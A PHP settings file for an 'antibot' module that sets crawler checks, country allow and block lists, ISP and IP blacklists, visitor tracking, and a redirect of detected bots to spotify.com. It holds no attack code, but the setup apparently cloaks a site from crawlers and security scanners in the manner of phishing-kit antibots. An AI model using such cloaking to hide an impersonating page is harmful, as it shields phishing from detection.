<?php
/**
 * Enhanced Antibot Configuration
 * Configure all antibot protection settings here
 */

// Prevent direct access
if (!defined('APP_ACCESS')) {
    die('Direct access not permitted');
}

// ============================================================================
// GENERAL SETTINGS
// ============================================================================

// Enable/Disable antibot protection (set to false only for testing)
if (!defined('ANTIBOT_ENABLED')) {
    define('ANTIBOT_ENABLED', false);  // DÉSACTIVÉ POUR TESTS
}

// Redirect URL for blocked bots (where to send them)
if (!defined('ANTIBOT_REDIRECT_URL')) {
    define('ANTIBOT_REDIRECT_URL', 'https://www.spotify.com');
}

// Show 404 page instead of redirect (true/false)
if (!defined('ANTIBOT_SHOW_404')) {
    define('ANTIBOT_SHOW_404', true);
}

// ============================================================================
// GEO-FILTERING
// ============================================================================

// Enable geo-filtering (block/allow specific countries)
define('ANTIBOT_GEO_ENABLED', false);

// Geo-filter mode: 'whitelist' or 'blacklist'
define('ANTIBOT_GEO_MODE', 'whitelist');

// Allowed countries (ISO 2-letter codes) - only used if mode is 'whitelist'
// Example: ['US', 'CA', 'GB', 'DE', 'FR', 'ES', 'IT', 'NL', 'BE', 'SE', 'NO', 'DK', 'FI']
define('ANTIBOT_GEO_WHITELIST', [
    'US', 'CA', 'GB', 'DE', 'FR', 'ES', 'IT', 'NL', 'BE', 'SE', 'NO', 'DK', 'FI',
    'AT', 'CH', 'IE', 'PT', 'PL', 'CZ', 'AU', 'NZ', 'JP', 'KR', 'SG'
]);

// Blocked countries (ISO 2-letter codes) - only used if mode is 'blacklist'
define('ANTIBOT_GEO_BLACKLIST', [
    'CN', 'RU', 'KP', 'IR'
]);

// Geo-location API (free service, no key required)
define('ANTIBOT_GEO_API', 'http://ip-api.com/json/');

// ============================================================================
// PROTECTION LAYERS
// ============================================================================

// Enable crawler database check (checks against crawler-user-agents.json)
// ONLY THIS ONE ACTIVE - Most reliable bot detection
define('ANTIBOT_CHECK_CRAWLER_DB', true);

// Enable HTTP_ACCEPT_LANGUAGE header check
// DISABLED - Too strict, blocks some legitimate browsers
define('ANTIBOT_CHECK_ACCEPT_LANGUAGE', false);

// Enable hostname/reverse DNS check
// DISABLED - Can block legitimate users on shared hosting
define('ANTIBOT_CHECK_HOSTNAME', false);

// Enable ISP/hosting provider check
// DISABLED - Can block legitimate users
define('ANTIBOT_CHECK_ISP', false);

// Enable IP blacklist check (exact IPs)
// DISABLED - May have false positives
define('ANTIBOT_CHECK_IP_BLACKLIST', false);

// Enable IP range blacklist check
// DISABLED - May have false positives
define('ANTIBOT_CHECK_IP_RANGE_BLACKLIST', false);

// Enable user agent blacklist check
// DISABLED - Was blocking legitimate Chrome browsers
define('ANTIBOT_CHECK_UA_BLACKLIST', false);

// Enable empty user agent check
// DISABLED - Some legitimate requests may have empty UA
define('ANTIBOT_CHECK_EMPTY_UA', false);

// Enable real browser signature check
// DISABLED - Was blocking legitimate browsers
define('ANTIBOT_CHECK_BROWSER_SIGNATURE', false);

// Enable suspicious headers check
// DISABLED - May have false positives
define('ANTIBOT_CHECK_SUSPICIOUS_HEADERS', false);

// ============================================================================
// BLACKLIST FILES
// ============================================================================

// Path to blacklist files (relative to security directory)
define('ANTIBOT_BLACKLIST_IPS_FILE', __DIR__ . '/../includes/security/blacklist-ips.txt');
define('ANTIBOT_BLACKLIST_RANGES_FILE', __DIR__ . '/../includes/security/blacklist-ranges.txt');
define('ANTIBOT_BLACKLIST_AGENTS_FILE', __DIR__ . '/../includes/security/blacklist-agents.txt');
define('ANTIBOT_CRAWLER_DB_FILE', __DIR__ . '/../includes/security/crawler-user-agents.json');
define('ANTIBOT_BLOCKED_ISPS_FILE', __DIR__ . '/../includes/security/blocked-isps.php');

// ============================================================================
// LOGGING
// ============================================================================

// Enable detailed logging
define('ANTIBOT_LOGGING_ENABLED', true);

// Log file path
define('ANTIBOT_LOG_FILE', LOGS_PATH . '/antibot.log');

// Log visitor tracking
define('ANTIBOT_VISITOR_TRACKING', true);

// Visitor tracking file
define('ANTIBOT_VISITOR_FILE', LOGS_PATH . '/visitors.json');

// ============================================================================
// ADVANCED SETTINGS
// ============================================================================

// Session fingerprinting (track session consistency)
define('ANTIBOT_SESSION_FINGERPRINT', true);

// Minimum time on page before allowing form submission (milliseconds)
define('ANTIBOT_MIN_TIME_ON_PAGE', 2000);

// Maximum bot score allowed (0-100, higher = more likely bot)
define('ANTIBOT_MAX_BOT_SCORE', 50);

// Cache geo-location results (seconds)
define('ANTIBOT_GEO_CACHE_TIME', 3600);

// ============================================================================
// LOCALHOST/DEVELOPMENT
// ============================================================================

// ALWAYS allow localhost (127.0.0.1, ::1, 192.168.x.x, 10.x.x.x)
// This cannot be disabled for safety reasons
define('ANTIBOT_ALLOW_LOCALHOST', true);

// Development mode - less strict checking (for testing)
define('ANTIBOT_DEV_MODE', false);

// ============================================================================
// STATISTICS
// ============================================================================

// Track bot statistics
define('ANTIBOT_TRACK_STATS', true);

// Statistics file
define('ANTIBOT_STATS_FILE', LOGS_PATH . '/antibot-stats.json');

?>
